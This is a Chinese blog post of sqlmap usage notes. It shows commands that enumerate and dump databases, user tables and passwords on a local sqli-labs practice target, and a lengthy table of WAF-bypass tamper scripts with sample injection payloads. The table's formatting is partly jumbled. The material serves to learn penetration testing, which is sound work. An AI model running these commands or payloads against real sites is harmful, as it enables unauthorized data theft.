SQLmap使用笔记

1. 基础语法

1.1 常用参数介绍

为了便于使用和记忆,个人将自己经常使用的一些参数做了如下分类。

赋值参数:

-u : 指定测试目标URL
--cookie : 测试时提交cookie信息;可用于cookie注入(当--level设置为2才可用)
--data : 构造POST提交的数据
-r : 指定数据包文件路径,根据数据包进行访问测试

限定参数:

-D : 指定数据库,-D security (限定检索范围为security数据库)
-T : 指定数据表, -T users(限定检索范围为users数据表)
-C : 指定字段,-C username(限定检索范围为username字段)

查询参数:

--users: 查看数据库所有的用户
--password : 查看数据库所有用户的密码
--current-user : 查看当前用户
--is-dba : 判断当前用户是否具有管理员权限
--roles : 列出数据库所有管理员角色

--fresh-queries : 刷新缓存查询

--dbs :列出所有库名
--current-db : 查看当前使用的数据库名
--tables : 列出所有数据表名
--columns : 列出表中的所有字段名
--dump : 列出当前数据库中的所有数据
--dump-all : 列出当前数据库管理系统中所有数据库中的数据

举个栗子:
查询security数据库下users表中的所有密码(字段名为password)。

sqlmap -u "url" -D security -T users -C password --dump

1.2 实例

1.2.1 -u 测试目标网站是否存在漏洞

sqlmap -u "http://192.168.0.106:7788/sqli/Less-1/?id=1"

在这里插入图片描述
可以测试处目标网站的服务器信息,后台语言,数据库版本等信息。同时还给出了测试时的payload


1.2.2 限定参数及部分查询参数的使用

在确定网站存在SQL注入漏洞的时候,往往需要查询数据库中的具体信息。这样就会需要组合使用限定参数和查询参数。

查询当前使用的数据库:

sqlmap -u "http://192.168.0.106:7788/sqli/Less-1/?id=1" --current-db

查询security数据库中有哪些数据表:

sqlmap -u "http://192.168.0.106:7788/sqli/Less-1/?id=1" -D security --tables

查询security数据库中的users数据表都有哪些字段:

sqlmap -u "http://192.168.0.106:7788/sqli/Less-1/?id=1" -D security -T users --columns

查询security数据库中的users数据表中的数据:

sqlmap -u "http://192.168.0.106:7788/sqli/Less-1/?id=1" -D security -T users --dump

效果如下:
在这里插入图片描述


1.2.3 --cookie

–cookie:指定cookie信息,需要将level设置为2

测试
在这里插入图片描述

sqlmap -u "http://192.168.0.106:7788/sqli/Less-20/" --level 2 --cookie="uname=admin"

在这里插入图片描述


1.2.4 --data

–data:指定像服务器提交的数据。

比如sqli的Less11
在这里插入图片描述
可用--data指定提交的账户和密码信息。
sqlmap

sqlmap -u "http://192.168.0.106:7788/sqli/Less-11/" --data="uname=admin&passwd=admin"

在这里插入图片描述
这里检测出uname处存在SQL注入漏洞。


1.2.5 -r

将请求页面的数据包使用burp拦截,把内容复制下来。一般用于检测请求头注入,将注入点设置为*

Less19

抓包的内容:

POST /sqli/Less-19/ HTTP/1.1
Host: 192.168.0.106:7788
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.0.106:7788
Connection: close
Referer: http://192.168.0.106:7788/sqli/Less-19/
Cookie: PHPSESSID=7bk33tnq15d3niicoi14j5ich3
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

因为这里存在referer注入,所以将referer字段改为*

POST /sqli/Less-19/ HTTP/1.1
Host: 192.168.0.106:7788
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.0.106:7788
Connection: close
Referer: *
Cookie: PHPSESSID=7bk33tnq15d3niicoi14j5ich3
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit

然后使用SQLmap

sqlmap -r "/root/桌面/1.txt" 

结果如下:
在这里插入图片描述


2. 进阶语法

介绍几个SQLmap的目录:

  • payload : /usr/share/sqlamp/xml/payloads
  • 绕过脚本: /usr/share/sqlmap/tamper

在注入测试的过程中,大多数网站都会采用一定的安全措施,sqlmap也提供了一些脚本用于绕过网站的安全措施。

sqlmap -u 'target_url' --tamper=apostrophemask.py

这里借用一下谢公子的表格

支持的数据库编号脚本名称作用
实现方式测试通过的数据库类型和版本
ALL1apostrophemask.py用utf8代替引号("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 

2base64encode.py 用base64编码替换("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
 

3multiplespaces.py围绕SQL关键字添加多个空格('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'

4space2plus.py用+替换空格('SELECT id FROM users')
'SELECT+id+FROM+users'

5nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示 
suitable for替代(例如  .replace(“SELECT”、”")) filters
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'

6space2randomblank.py代替空格字符(“”)从一个随机的空
白字符可选字符的有效集
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'

7unionalltounion.py替换UNION ALL SELECT UNION SELECT('-1 UNION ALL SELECT')
'-1 UNION SELECT'

8securesphere.py追加特制的字符串('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"

MSSQL1space2hash.py绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 

2equaltolike.pylike 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 

3space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
4space2mssqlhash.py替换空格('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

5between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

6percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
 

7sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'

8charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

9randomcase.py随机大小写* Input: INSERT
* Output: InsERt

10charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

11space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

MYSQL1equaltolike.pylike 代替等号
* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 
 Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5
2greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4ifnull2ifisnull.py绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
* MySQL 5.0 and 5.5
5space2mssqlhash.py替换空格('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

6modsecurityversioned.py过滤空格,包含完整的查询版本注释('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
 
* MySQL 5.0
7space2mysqlblank.py空格替换其它空白符号(mysql)Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users
* MySQL 5.1
8between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
9modsecurityzeroversioned.py包含了完整的查询与零版本注释('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
 
* MySQL 5.0
10space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'

11bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
* MySQL 5.1, SGOS
12percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
 
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
13charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
14randomcase.py随机大小写* Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
15versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

16space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
17charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
18versionedmorekeywords.py注释绕过* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

* MySQL < 5.119halfversionedmorekeywords.py关键字前加注释* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
* MySQL 4.0.18, 5.0.22
20halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql版本评论
1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
* MySQL 4.0.18, 5.0.22
MySQL >= 5.1.1321space2morehash.py空格替换为 #号 以及更多随机字符串 换行符* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
MySQL 5.1.41
 Oracle1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
5randomcase.py随机大小写* Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
6charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
7space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
 PostgreSQL1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
3between.py用between替换大于号(>)('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
4percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
 
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
5charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
6randomcase.py随机大小写* Input: INSERT
* Output: InsERt
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
7charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
8space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Microsoft Access1appendnullbyte.py在有效负荷结束位置加载零字节字符编码('1 AND 1=1')
'1 AND 1=1%00'
 

其他
chardoubleencode.py双url编码(不处理以编码的)* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545


unmagicquotes.py宽字符绕过 GPC  addslashes* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20


randomcomments.py用/**/分割sql关键字‘INSERT’ becomes ‘IN//S//ERT’

参考文章
工具使用 | Sqlmap使用详解

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值